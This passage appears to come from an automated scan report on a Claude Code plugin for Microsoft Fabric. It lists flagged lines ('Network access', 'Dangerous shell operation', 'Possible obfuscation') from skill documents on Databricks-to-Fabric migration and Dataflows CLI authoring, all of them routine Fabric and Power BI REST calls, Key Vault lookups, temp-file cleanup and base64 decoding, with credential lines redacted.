    Azure Monitor entry's `supportedCredentialTypes` from `GET https://api.fabric.microsoft.com/v1/connections/supportedConnectionTypes?showAllCreationMethods=true`. If absent, tell the user this option isn't available for this connector and of
  • Network accessline 18
    `GET https://api.fabric.microsoft.com/v1/connections/supportedConnectionTypes?showAllCreationMethods=true`.
  • Network accessline 24
    1. **Detect the identity.** `GET https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}`
  • Network accessline 27
    2. **Provision if absent (confirmation-gated).** Caller must have the workspace    **Admin** role and delegated `Workspace.ReadWrite.All`. On confirmation:    `POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/provisionIdent
  • Network accessline 28
    **Admin** role and delegated `Workspace.ReadWrite.All`. On confirmation:    `POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/provisionIdentity`.    `200` returns `{ applicationId, servicePrincipalId }`; `202` is a long-run
  • Network accessline 29
    `POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/provisionIdentity`.

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/databricks-migration/SKILL.md

  • Network accessline 231
    # Fabric (scope → Key Vault URL, key → secret name) pwd = notebookutils.credentials.getSecret("https://myvault.vault.azure.net/", "db-password")
  • Network accessline 232
    pwd = notebookutils.credentials.getSecret("https://myvault.vault.azure.net/", "db-password")

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/databricks-migration/resources/code-patterns.md

  • Network accessline 67
    # AFTER — Fabric KV_URL = "https://prod-keyvault.vault.azure.net/"
  • Network accessline 68
    KV_URL = "https://prod-keyvault.vault.azure.net/"

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/databricks-migration/resources/dbutils-to-notebookutils.md

  • Network accessline 37
    | `dbutils.fs.head(path, maxBytes=65536)` | `notebookutils.fs.head(path, max_bytes=102400)` | ⚠<U+FE0F> **Default differs**: Python/Scala `102400` (100 KB), R `65535` (Scala uses `maxBytes`) | | `dbutils.fs.append(path, contents, createIfNotExists
  • Network accessline 38
    | `dbutils.fs.append(path, contents, createIfNotExists)` | `notebookutils.fs.append(file, content, createFileIfNotExists=False)` | **Equivalent**. Add `time.sleep(0.5)` between writes in loops (async flush) | | `dbutils.fs.mount(source, mou
  • Network accessline 39
    | `dbutils.fs.mount(source, mountPoint, …)` | `notebookutils.fs.mount(source, mountPoint, extraConfigs=None)` | ✅ **Supported**. Microsoft Entra (default), `accountKey`, or `sasToken` auth. `extraConfigs` also accepts `timeout` (default 30 
  • Network accessline 44
    | `dbutils.fs.help()` | `notebookutils.fs.help()` | **Identical** | | _(no dbutils equivalent)_ | `notebookutils.fs.exists(path)` | New — prefer over try/except for existence checks | | _(no dbutils equivalent)_ | `notebookutils.fs.fastcp(s
  • Network accessline 45
    | _(no dbutils equivalent)_ | `notebookutils.fs.exists(path)` | New — prefer over try/except for existence checks | | _(no dbutils equivalent)_ | `notebookutils.fs.fastcp(src, dest, recurse=True, extraConfigs=None)` | New — azcopy-backed; u
  • Network accessline 46
    | _(no dbutils equivalent)_ | `notebookutils.fs.fastcp(src, dest, recurse=True, extraConfigs=None)` | New — azcopy-backed; use for large/bulk copies. Doesn't work across OneLake regions — fall back to `cp`. For S3/GCS-typed OneLake Shortcut
  • Network accessline 104
    # Auth via account key from Key Vault account_key = notebookutils.credentials.getSecret("https://my-kv.vault.azure.net/", "storageKey")
  • Network accessline 105
    account_key = notebookutils.credentials.getSecret("https://my-kv.vault.azure.net/", "storageKey")
  • Network accessline 112
    [Credential-related source omitted]
  • Network accessline 113
    [Credential-related source omitted]
  • Network accessline 128
    # Create a OneLake Shortcut once (Portal or REST API): # https://learn.microsoft.com/fabric/onelake/onelake-shortcuts
  • Network accessline 129
    # https://learn.microsoft.com/fabric/onelake/onelake-shortcuts
  • Access to secretsline 159
    [Credential-related source omitted]
  • Network accessline 161
    [Credential-related source omitted]
  • Network accessline 162
    [Credential-related source omitted]
  • Network accessline 163
    "https://my-keyvault.vault.azure.net/",
  • Network accessline 165
    [Credential-related source omitted]
  • Network accessline 166
    [Credential-related source omitted]
  • Access to secretsline 166
    [Credential-related source omitted]
  • Network accessline 167
    "https://my-keyvault.vault.azure.net/",
  • Network accessline 180
    | `dbutils.notebook` Method | `notebookutils.notebook` Equivalent | Notes | |---|---|---| | `dbutils.notebook.run(path, timeout, arguments)` | `notebookutils.notebook.run(path, timeout_seconds=90, arguments=None, workspace="")` | `path` is 
  • Network accessline 181
    |---|---|---| | `dbutils.notebook.run(path, timeout, arguments)` | `notebookutils.notebook.run(path, timeout_seconds=90, arguments=None, workspace="")` | `path` is the child notebook **name**. `workspace` is the **workspace ID** for cross-w
  • Network accessline 182
    | `dbutils.notebook.run(path, timeout, arguments)` | `notebookutils.notebook.run(path, timeout_seconds=90, arguments=None, workspace="")` | `path` is the child notebook **name**. `workspace` is the **workspace ID** for cross-workspace runs 
  • Network accessline 270
    > ⚠<U+FE0F> **Caveats** (per [docs](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-variable-library)): `notebookutils.variableLibrary` is **same-workspace only** — cross-workspace reads (including child noteb
  • Network accessline 347
    `notebookutils.runtime.context` returns a read-only map. Property names use the `current*` / `default*` / `root*` prefix — they are **not** the same names as Databricks tags. The sample below shows the most common keys; the full key list (i

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/authoring.md

  • Network accessline 80
    # List workspaces — find workspace ID by name az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 81
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 82
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 83
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 87
    WS_ID="<workspaceId>" az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 88
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 89
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 90
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/dataflows" \
  • Network accessline 97
    WS_ID="<workspaceId>" DF_ID="<dataflowId>" API="https://api.fabric.microsoft.com/v1"
  • Network accessline 98
    DF_ID="<dataflowId>" API="https://api.fabric.microsoft.com/v1" RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 99
    API="https://api.fabric.microsoft.com/v1"
  • Network accessline 100
    RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 120
    1. **List existing connections** and filter by `connectionDetails.type` and the target URL/host — reuse if a match exists (`GET /v1/connections` + JMESPath). 2. **If no match, create the connection.** First `GET /v1/connections/supportedCon
  • Network accessline 121
    2. **If no match, create the connection.** First `GET /v1/connections/supportedConnectionTypes` to discover required parameters and supported credential types, then `POST /v1/connections` (sync 201). Body shape and credential schemas: [conn
  • Network accessline 122
    3. **Resolve `ClusterId` for the composite binding.** `GET https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources` with `--query "value[?id=='$CONN_ID'] | [0].clusterId"`, audience `--resource "https://analysis.windows.net/powerbi/
  • Network accessline 134
    WS_ID="<workspaceId>"; URL="<source-url>" RES="https://api.fabric.microsoft.com"; API="$RES/v1"
  • Network accessline 135
    RES="https://api.fabric.microsoft.com"; API="$RES/v1"
  • Network accessline 136
    PBI="https://analysis.windows.net/powerbi/api"
  • Network accessline 143
    # 3. List+filter for ClusterId CLUSTER_ID=$(az rest --method get --resource "$PBI" \   --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" \
  • Network accessline 144
    CLUSTER_ID=$(az rest --method get --resource "$PBI"    --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources"
  • Network accessline 145
    --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" \
  • Dangerous shell operationline 155
    rm -f "$SHELL_BODY"
  • Network accessline 179
    # Concise skeleton — full templates: references/authoring-script-templates.md # Acquire $TOKEN per common/COMMON-CLI.md § Token-in-Variable Pattern (resource = $RESOURCE). RESOURCE="https://api.fabric.microsoft.com"; API="$RESOURCE/v1"
  • Network accessline 181
    RESOURCE="https://api.fabric.microsoft.com"; API="$RESOURCE/v1"
  • Network accessline 183
    [Credential-related source omitted]
  • Network accessline 184
    [Credential-related source omitted]
  • Network accessline 185
    [Credential-related source omitted]
  • Dangerous shell operationline 202
    rm -f "$HDR" "$BODY"
  • Network accessline 213
    # 2-3. Formulate & Execute — see Example 3 # 4. Verify — trigger refresh via curl (az rest cannot capture Location header).
  • Network accessline 214
    # 4. Verify — trigger refresh via curl (az rest cannot capture Location header).
  • Network accessline 254
    # Skeleton — full PowerShell recipe: references/output-destinations.md § Complete Example WS_ID="<workspaceId>"; LH_ID="<lakehouseId>"; RES="https://api.fabric.microsoft.com"
  • Network accessline 255
    WS_ID="<workspaceId>"; LH_ID="<lakehouseId>"; RES="https://api.fabric.microsoft.com"
  • Network accessline 274
    - **Offer to preview every entity before the first refresh of a new dataflow** — after creating the shell and binding connections via `updateDefinition` (which persists the definition), ask the user if they want to see preview charts before
  • Network accessline 275
    - **`az login` first** — all `az rest` calls use the active session. No session → 401. - **Use `--resource "https://api.fabric.microsoft.com"` for Fabric APIs.** For Power BI v2 (`gatewayClusterDatasources`), use `--resource "https://analys
  • Network accessline 276
    - **Use `--resource "https://api.fabric.microsoft.com"` for Fabric APIs.** For Power BI v2 (`gatewayClusterDatasources`), use `--resource "https://analysis.windows.net/powerbi/api"` **without a trailing slash** — the slashed form fails `AAD
  • Network accessline 300
    - **Using `GET /v1/workspaces/{ws}/items/{itemId}/connections` to verify a freshly-bound dataflow.** It reflects refresh-materialized state, **not** the persisted definition, and returns 0 after a successful bind. Verify via `getDefinition`
  • Network accessline 301
    - **Assuming `updateDefinition` / `POST /dataflows` is always LRO.** Typical responses are sync (200/201); handle both shapes — see MUST DO above. - **Requesting the PBI v2 token with a trailing slash** (`--resource "https://analysis.window
  • Network accessline 302
    - **Requesting the PBI v2 token with a trailing slash** (`--resource "https://analysis.windows.net/powerbi/api/"`) — fails `AADSTS500011 invalid_resource`. Use the no-slash form.
  • Network accessline 333
    | Symptom | Fix | |---|---| | 401 Unauthorized | Verify `az login` is active; check `--resource "https://api.fabric.microsoft.com"` (or `https://analysis.windows.net/powerbi/api` **no trailing slash** for PBI v2). |
  • Network accessline 334
    |---|---| | 401 Unauthorized | Verify `az login` is active; check `--resource "https://api.fabric.microsoft.com"` (or `https://analysis.windows.net/powerbi/api` **no trailing slash** for PBI v2). | | 405 Method Not Allowed on `getDefinition
  • Network accessline 335
    | 401 Unauthorized | Verify `az login` is active; check `--resource "https://api.fabric.microsoft.com"` (or `https://analysis.windows.net/powerbi/api` **no trailing slash** for PBI v2). |
  • Network accessline 339
    | `executeQuery` → 400 `DataflowExecuteQueryError: ErrorCode: QueryNotFound` | The value of `QueryName` doesn't match any `shared` member of the persisted M or supplied `customMashupDocument`. List queries via `getDefinition` → decode `mash
  • Network accessline 340
    | `GET /items/{id}/connections` returns 0 after a successful bind | That endpoint reflects refresh-materialized state, not the definition. Verify via `getDefinition` → decode `queryMetadata.json.connections[]`. | | 404 / `PowerBIEntityNotFo
  • Network accessline 341
    | 404 / `PowerBIEntityNotFound` fetching `ClusterId` from `gatewayClusterDatasources/{id}` | Per-id route does not resolve cloud connections. Use list + filter: `GET .../gatewayClusterDatasources --query "value[?id=='$CONN_ID'] \| [0].clust
  • Network accessline 350
    | Base64 decode produces garbage | Strip trailing newlines; use `base64 -w0` (Linux). | | Inline `--body "<json>"` returns 400 / empty body on Windows | `cmd.exe` arg parser mangles quotes when launching `az.exe`. Write to `$env:TEMP\body.j
  • Network accessline 352
    | Refresh fails with `EntityUserFailure` / "Something went wrong" and no detail | (1) Confirm `updateDefinition` was called after create; (2) check credential type — `OAuth2`+`singleSignOnType: None` often fails under tenant Conditional Acc
  • Network accessline 369
    DF_NAME="my-titanic-df" CONN_NAME="my-titanic-web-conn" URL="https://raw.githubusercontent.com/datasciencedojo/datasets/master/titanic.csv"
  • Network accessline 370
    CONN_NAME="my-titanic-web-conn" URL="https://raw.githubusercontent.com/datasciencedojo/datasets/master/titanic.csv" RES="https://api.fabric.microsoft.com"; API="$RES/v1"
  • Network accessline 371
    URL="https://raw.githubusercontent.com/datasciencedojo/datasets/master/titanic.csv"
  • Network accessline 372
    RES="https://api.fabric.microsoft.com"; API="$RES/v1"
  • Network accessline 373
    PBI="https://analysis.windows.net/powerbi/api"   # NO trailing slash
  • Dangerous shell operationline 400
    rm -f "$BODY_FILE"
  • Network accessline 404
    for i in 1 2 3 4 5 6 7 8; do   CLUSTER_ID=$(az rest --method get --resource "$PBI" \     --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" \
  • Network accessline 405
    CLUSTER_ID=$(az rest --method get --resource "$PBI"      --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources"
  • Network accessline 406
    --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" \
  • Dangerous shell operationline 425
    rm -f "$SHELL_BODY"
  • Network accessline 440
    }') PLATFORM=$(jq -n --arg name "$DF_NAME" --arg lid "$(uuidgen)" '{   "$schema": "https://developer.microsoft.com/json-schemas/fabric/gitIntegration/platformProperties/2.0.0/schema.json",
  • Network accessline 441
    PLATFORM=$(jq -n --arg name "$DF_NAME" --arg lid "$(uuidgen)" '{   "$schema": "https://developer.microsoft.com/json-schemas/fabric/gitIntegration/platformProperties/2.0.0/schema.json",   metadata: { type: "Dataflow", displayName: $name },
  • Network accessline 442
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/gitIntegration/platformProperties/2.0.0/schema.json",
  • Dangerous shell operationline 462
    rm -f "$BODY_FILE"
  • Network accessline 464
    # Step 6: Verify connections[] persisted via getDefinition (NOT /items/{id}/connections). # Assumes the sync 200 fast-path (typical, ~1s). If the call ever returns 202 LRO, # az rest can't expose the Location header — switch to the curl + p
  • Network accessline 465
    # Assumes the sync 200 fast-path (typical, ~1s). If the call ever returns 202 LRO, # az rest can't expose the Location header — switch to the curl + poll pattern from # Example 3 / authoring-script-templates.md and decode the polled 200 bod
  • Network accessline 466
    # az rest can't expose the Location header — switch to the curl + poll pattern from
  • Dangerous shell operationline 482
    rm -f "$EQ_BODY"
  • Network accessline 498
    # On the first refresh after any updateDefinition, body MUST include executeOption=ApplyChangesIfNeeded # (otherwise Fabric refreshes the previously-applied definition). # Acquire $TOKEN per common/COMMON-CLI.md § Token-in-Variable Pattern 
  • Network accessline 499
    # (otherwise Fabric refreshes the previously-applied definition). # Acquire $TOKEN per common/COMMON-CLI.md § Token-in-Variable Pattern (resource = https://api.fabric.microsoft.com). LOCATION=$(curl -sS -X POST \
  • Network accessline 500
    [Credential-related source omitted]
  • Network accessline 501
    LOCATION=$(curl -sS -X POST \
  • Network accessline 502
    [Credential-related source omitted]
  • Network accessline 503
    --data '{"executionData":{"executeOption":"ApplyChangesIfNeeded"}}' \   "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/dataflows/${DF_ID}/jobs/instances?jobType=Refresh" \   -o /dev/null -D - | tr -d '\r' | grep -i "^location:" | 
  • Network accessline 504
    "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/dataflows/${DF_ID}/jobs/instances?jobType=Refresh" \
  • Network accessline 516
    while [ "$ATTEMPT" -lt "$MAX_POLLS" ]; do   STATUS=$(az rest --method get --url "$LOCATION" \     --resource "https://api.fabric.microsoft.com" --query "status" -o tsv)
  • Network accessline 517
    STATUS=$(az rest --method get --url "$LOCATION"      --resource "https://api.fabric.microsoft.com" --query "status" -o tsv)
  • Network accessline 518
    --resource "https://api.fabric.microsoft.com" --query "status" -o tsv)
  • Network accessline 533
    # Surface the raw job instance and stop; do not assume success.     echo "Polling stopped after ${MAX_POLLS} attempts with non-terminal status '$STATUS' (max-poll timeout, not a terminal outcome)."     az rest --method get --url "$LOCATION"
  • Network accessline 534
    echo "Polling stopped after ${MAX_POLLS} attempts with non-terminal status '$STATUS' (max-poll timeout, not a terminal outcome)."     az rest --method get --url "$LOCATION" --resource "https://api.fabric.microsoft.com"     exit 1 ;;
  • Network accessline 535
    az rest --method get --url "$LOCATION" --resource "https://api.fabric.microsoft.com"
  • Network accessline 539
    # ErrorResponse with .errorCode / .isRetriable / .message) and STOP. Do NOT re-trigger or keep       # polling when .failureReason.isRetriable=false or the error is workspace-wide.       az rest --method get --url "$LOCATION" --resource "ht
  • Network accessline 540
    # polling when .failureReason.isRetriable=false or the error is workspace-wide.       az rest --method get --url "$LOCATION" --resource "https://api.fabric.microsoft.com"       exit 1 ;;
  • Network accessline 541
    az rest --method get --url "$LOCATION" --resource "https://api.fabric.microsoft.com"
  • Network accessline 557
    #   This is distinct from the LRO operation enum (Running / Succeeded / Failed / Cancelled). #   Refresh "success" = "Completed", not "Succeeded". # Acquire $Token per common/COMMON-CLI.md § Token-in-Variable Pattern (resource = https://api
  • Network accessline 558
    #   Refresh "success" = "Completed", not "Succeeded". # Acquire $Token per common/COMMON-CLI.md § Token-in-Variable Pattern (resource = https://api.fabric.microsoft.com). try {
  • Network accessline 559
    # Acquire $Token per common/COMMON-CLI.md § Token-in-Variable Pattern (resource = https://api.fabric.microsoft.com).
  • Network accessline 560
    try {   $Resp = Invoke-WebRequest -Method POST -UseBasicParsing `     -Uri "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/dataflows/$DF_ID/jobs/instances?jobType=Refresh" `
  • Network accessline 561
    $Resp = Invoke-WebRequest -Method POST -UseBasicParsing      -Uri "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/dataflows/$DF_ID/jobs/instances?jobType=Refresh"
  • Network accessline 562
    -Uri "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/dataflows/$DF_ID/jobs/instances?jobType=Refresh" `
  • Network accessline 572
    do {   $Status = az rest --method get --url $Location `     --resource "https://api.fabric.microsoft.com" --query "status" -o tsv
  • Network accessline 573
    $Status = az rest --method get --url $Location      --resource "https://api.fabric.microsoft.com" --query "status" -o tsv
  • Network accessline 574
    --resource "https://api.fabric.microsoft.com" --query "status" -o tsv
  • Network accessline 580
    # Max-poll bound reached before any terminal status — a polling timeout, NOT a terminal outcome.   Write-Host "Polling stopped after $MaxPolls attempts with non-terminal status '$Status' (max-poll timeout, not a terminal outcome)."   az res
  • Network accessline 581
    Write-Host "Polling stopped after $MaxPolls attempts with non-terminal status '$Status' (max-poll timeout, not a terminal outcome)."   az rest --method get --url $Location --resource "https://api.fabric.microsoft.com"   exit 1
  • Network accessline 582
    az rest --method get --url $Location --resource "https://api.fabric.microsoft.com"
  • Network accessline 595
    # raw error (the job-instance body's .failureReason: .errorCode / .isRetriable / .message) and STOP;     # do not re-trigger or debug-loop when failureReason.isRetriable=false or the error is workspace-wide.     az rest --method get --url $
  • Network accessline 596
    # do not re-trigger or debug-loop when failureReason.isRetriable=false or the error is workspace-wide.     az rest --method get --url $Location --resource "https://api.fabric.microsoft.com"     Write-Error "Refresh terminated '$Status' (not
  • Network accessline 597
    az rest --method get --url $Location --resource "https://api.fabric.microsoft.com"
  • Network accessline 610
    RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 613
    [Credential-related source omitted]
  • Network accessline 614
    [Credential-related source omitted]
  • Network accessline 615
    [Credential-related source omitted]
  • Dangerous shell operationline 632
    rm -f "$HDR" "$BODY"
  • Dangerous shell operationline 657
    rm -f "$BODY_FILE"

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/authoring/authoring-cli-quickref.md

  • Network accessline 8
    WS_ID="<workspaceId>" DF_ID="<dataflowId>" API="https://api.fabric.microsoft.com/v1"
  • Network accessline 9
    DF_ID="<dataflowId>" API="https://api.fabric.microsoft.com/v1" RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 10
    API="https://api.fabric.microsoft.com/v1"
  • Network accessline 11
    RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 59
    > **⚠ LRO caveat:** `getDefinition` can return **202 + Location** (the body is empty on the initial response) instead of an inline 200. The one-liner below only works for the synchronous case. For production code, use the LRO-aware curl pat
  • Network accessline 167
    az rest --method get \   --resource "$RESOURCE" \   --url "https://api.fabric.microsoft.com/v1/connections" \
  • Network accessline 168
    --resource "$RESOURCE" \   --url "https://api.fabric.microsoft.com/v1/connections" \   --query "value[].{id:id, name:displayName, type:connectionDetails.type}" -o json
  • Network accessline 169
    --url "https://api.fabric.microsoft.com/v1/connections" \
  • Network accessline 178
    az rest --method get \   --resource "$RESOURCE" \   --url "https://api.fabric.microsoft.com/v1/connections" \
  • Network accessline 179
    --resource "$RESOURCE" \   --url "https://api.fabric.microsoft.com/v1/connections" \   --query "value[?displayName=='$CONN_NAME'].{id:id, type:connectionDetails.type}" -o json
  • Network accessline 180
    --url "https://api.fabric.microsoft.com/v1/connections" \
  • Network accessline 188
    az rest --method get \   --resource "$RESOURCE" \   --url "https://api.fabric.microsoft.com/v1/connections" \
  • Network accessline 189
    --resource "$RESOURCE" \   --url "https://api.fabric.microsoft.com/v1/connections" \   --query "value[?connectionDetails.type=='SQL'].{id:id, name:displayName}" -o json
  • Network accessline 190
    --url "https://api.fabric.microsoft.com/v1/connections" \
  • Network accessline 194
    az rest --method get \   --resource "$RESOURCE" \   --url "https://api.fabric.microsoft.com/v1/connections" \
  • Network accessline 195
    --resource "$RESOURCE" \   --url "https://api.fabric.microsoft.com/v1/connections" \   --query "value[?connectionDetails.type=='AzureBlobs'].id" -o tsv
  • Network accessline 196
    --url "https://api.fabric.microsoft.com/v1/connections" \
  • Network accessline 206
    RESULT=$(az rest --method get \   --resource "$RESOURCE" \   --url "https://api.fabric.microsoft.com/v1/connections" \
  • Network accessline 207
    --resource "$RESOURCE" \   --url "https://api.fabric.microsoft.com/v1/connections" \   --query "value[?id=='$CONN_ID'] | [0] | {id:id, name:displayName, type:connectionDetails.type}" \
  • Network accessline 208
    --url "https://api.fabric.microsoft.com/v1/connections" \
  • Network accessline 223
    > **⚠ LRO caveat:** the `az rest --method post .../getDefinition` call below is a happy-path one-liner that only works when the response is synchronous (200). For large definitions or under load the API returns **202 + Location**; this snip
  • Network accessline 244
    WS_ID="<id>" DF_ID="<id>" RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 246
    RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 249
    [Credential-related source omitted]
  • Network accessline 250
    [Credential-related source omitted]
  • Network accessline 251
    HTTP_CODE=$(curl -sS -X POST \
  • Network accessline 252
    [Credential-related source omitted]
  • Network accessline 253
    "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/dataflows/$DF_ID/getDefinition" \
  • Dangerous shell operationline 271
    rm -f "$GET_DEF_BODY" "$GET_DEF_HDR"
  • Network accessline 275
    # List all connections once for efficiency ALL_CONNECTIONS=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 276
    ALL_CONNECTIONS=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 277
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 278
    --url "https://api.fabric.microsoft.com/v1/connections" \
  • Possible obfuscationline 334
    [System.IO.File]::WriteAllBytes("mashup.pq", [Convert]::FromBase64String($base64String))
  • Network accessline 344
    > **⚠ LRO caveat:** the one-liner `getDefinition` below assumes a synchronous 200 response. Under load or for large definitions the API returns **202 + Location**, which this snippet does not handle — it will silently fail and decode garbag
  • Network accessline 483
    # az rest cannot return response headers; use curl with an az-acquired token to capture Location.
  • Network accessline 484
    [Credential-related source omitted]
  • Network accessline 485
    [Credential-related source omitted]
  • Network accessline 486
    [Credential-related source omitted]
  • Dangerous shell operationline 505
    rm -f "$HDR" "$BODY"
  • Network accessline 510
    The endpoint lives on the Power BI control plane (not on `api.fabric.microsoft.com`) and the field is `clusterId` (camelCase). Pass `--resource "https://analysis.windows.net/powerbi/api"` to get the right token audience.
  • Network accessline 513
    CONN_ID="<connectionId>" PBI_RESOURCE="https://analysis.windows.net/powerbi/api"
  • Network accessline 514
    PBI_RESOURCE="https://analysis.windows.net/powerbi/api"
  • Network accessline 520
    CLUSTER_ID=$(az rest --method get \   --resource "$PBI_RESOURCE" \   --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" \
  • Network accessline 521
    --resource "$PBI_RESOURCE" \   --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" \   --query "value[?id=='$CONN_ID'] | [0].clusterId" --output tsv)
  • Network accessline 522
    --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" \
  • Dangerous shell operationline 562
    rm -f "$UPDATE_BODY"
  • Network accessline 569
    - **GitHub Copilot CLI**: Generate `az rest` one-liners for dataflow CRUD or complete `.sh` scripts. Always include `--resource "https://api.fabric.microsoft.com"` in output. Remind user about base64 encoding for definition parts.

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/authoring/authoring-script-templates.md

  • Network accessline 5
    **Common prerequisites** (validated in each template): - `az` CLI installed — `https://aka.ms/install-azure-cli`
  • Network accessline 6
    - `az` CLI installed — `https://aka.ms/install-azure-cli`
  • Network accessline 13
    `getDefinition` (and other Fabric mutations) follow the [Fabric Long-Running Operation contract](https://learn.microsoft.com/rest/api/fabric/articles/long-running-operation):
  • Network accessline 28
    # Prerequisites: $RESOURCE, $TOKEN, headers file $HDR, body file $BODY, $HTTP_CODE (e.g. from curl -D -o -w "%{http_code}")
  • Network accessline 88
    WS_ID="${WS_ID:?Set WS_ID env var}" API="https://api.fabric.microsoft.com/v1"
  • Network accessline 89
    API="https://api.fabric.microsoft.com/v1"
  • Network accessline 90
    RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 128
    # Define .platform PLATFORM='{   "$schema": "https://developer.microsoft.com/json-schemas/fabric/gitIntegration/platformProperties/2.0.0/schema.json",
  • Network accessline 129
    PLATFORM='{   "$schema": "https://developer.microsoft.com/json-schemas/fabric/gitIntegration/platformProperties/2.0.0/schema.json",   "metadata": {"type": "Dataflow", "displayName": "'"$DATAFLOW_NAME"'"},
  • Network accessline 130
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/gitIntegration/platformProperties/2.0.0/schema.json",
  • Network accessline 166
    WS_ID="${WS_ID:?Set WS_ID env var}" DF_ID="${DF_ID:?Set DF_ID env var}" API="https://api.fabric.microsoft.com/v1"
  • Network accessline 167
    DF_ID="${DF_ID:?Set DF_ID env var}" API="https://api.fabric.microsoft.com/v1" RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 168
    API="https://api.fabric.microsoft.com/v1"
  • Network accessline 169
    RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 181
    [Credential-related source omitted]
  • Network accessline 182
    [Credential-related source omitted]
  • Network accessline 183
    HTTP_CODE=$(curl -sS -X POST \
  • Dangerous shell operationline 201
    rm -f "$GET_DEF_HDR" "$GET_DEF_BODY"
  • Network accessline 257
    $Resource = "https://api.fabric.microsoft.com"
  • Possible obfuscationline 288
    function From-B64([string]$b64) { [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b64)) }
  • Network accessline 338
    DF_ID="${DF_ID:?Set DF_ID env var}" QUERY_NAME="${QUERY_NAME:?Set QUERY_NAME env var (must match a 'shared' member)}" API="https://api.fabric.microsoft.com/v1"
  • Network accessline 339
    QUERY_NAME="${QUERY_NAME:?Set QUERY_NAME env var (must match a 'shared' member)}" API="https://api.fabric.microsoft.com/v1" RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 340
    API="https://api.fabric.microsoft.com/v1"
  • Network accessline 341
    RESOURCE="https://api.fabric.microsoft.com"
  • Dangerous shell operationline 393
    rm -f "$PREVIEW_REQ" "$PREVIEW_OUT"
  • Dangerous shell operationline 399
    rm -f "$PREVIEW_REQ" "$PREVIEW_OUT"
  • Network accessline 404
    [Credential-related source omitted]
  • Network accessline 405
    [Credential-related source omitted]
  • Network accessline 406
    HTTP_CODE=$(curl -sS -X POST \
  • Dangerous shell operationline 425
    rm -f "$GET_DEF_BODY" "$GET_DEF_HDR"
  • Network accessline 440
    # 5. Persist the production mashup (always write to temp file — never inline --body for large payloads). #    updateDefinition can return 200 (sync) or 202 + Location (LRO). Use curl so we can
  • Network accessline 441
    #    updateDefinition can return 200 (sync) or 202 + Location (LRO). Use curl so we can
  • Network accessline 446
    UPDATE_BODY=$(mktemp); UPDATE_HDR=$(mktemp); UPDATE_OUT=$(mktemp) echo "$DEFINITION_PAYLOAD" > "$UPDATE_BODY" UPDATE_CODE=$(curl -sS -X POST \
  • Network accessline 447
    [Credential-related source omitted]
  • Network accessline 448
    UPDATE_CODE=$(curl -sS -X POST \
  • Dangerous shell operationline 468
    rm -f "$UPDATE_BODY" "$UPDATE_HDR" "$UPDATE_OUT"
  • Network accessline 473
    [Credential-related source omitted]
  • Network accessline 474
    [Credential-related source omitted]
  • Network accessline 475
    [Credential-related source omitted]
  • Access to secretsline 475
    [Credential-related source omitted]
  • Access to secretsline 476
    [Credential-related source omitted]
  • Dangerous shell operationline 494
    rm -f "$VERIFY_BODY" "$VERIFY_HDR"
  • Network accessline 506
    WS_ID="${WS_ID:?Set WS_ID env var}" DF_ID="${DF_ID:?Set DF_ID env var}" API="https://api.fabric.microsoft.com/v1"
  • Network accessline 507
    DF_ID="${DF_ID:?Set DF_ID env var}" API="https://api.fabric.microsoft.com/v1" RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 508
    API="https://api.fabric.microsoft.com/v1"
  • Network accessline 509
    RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 518
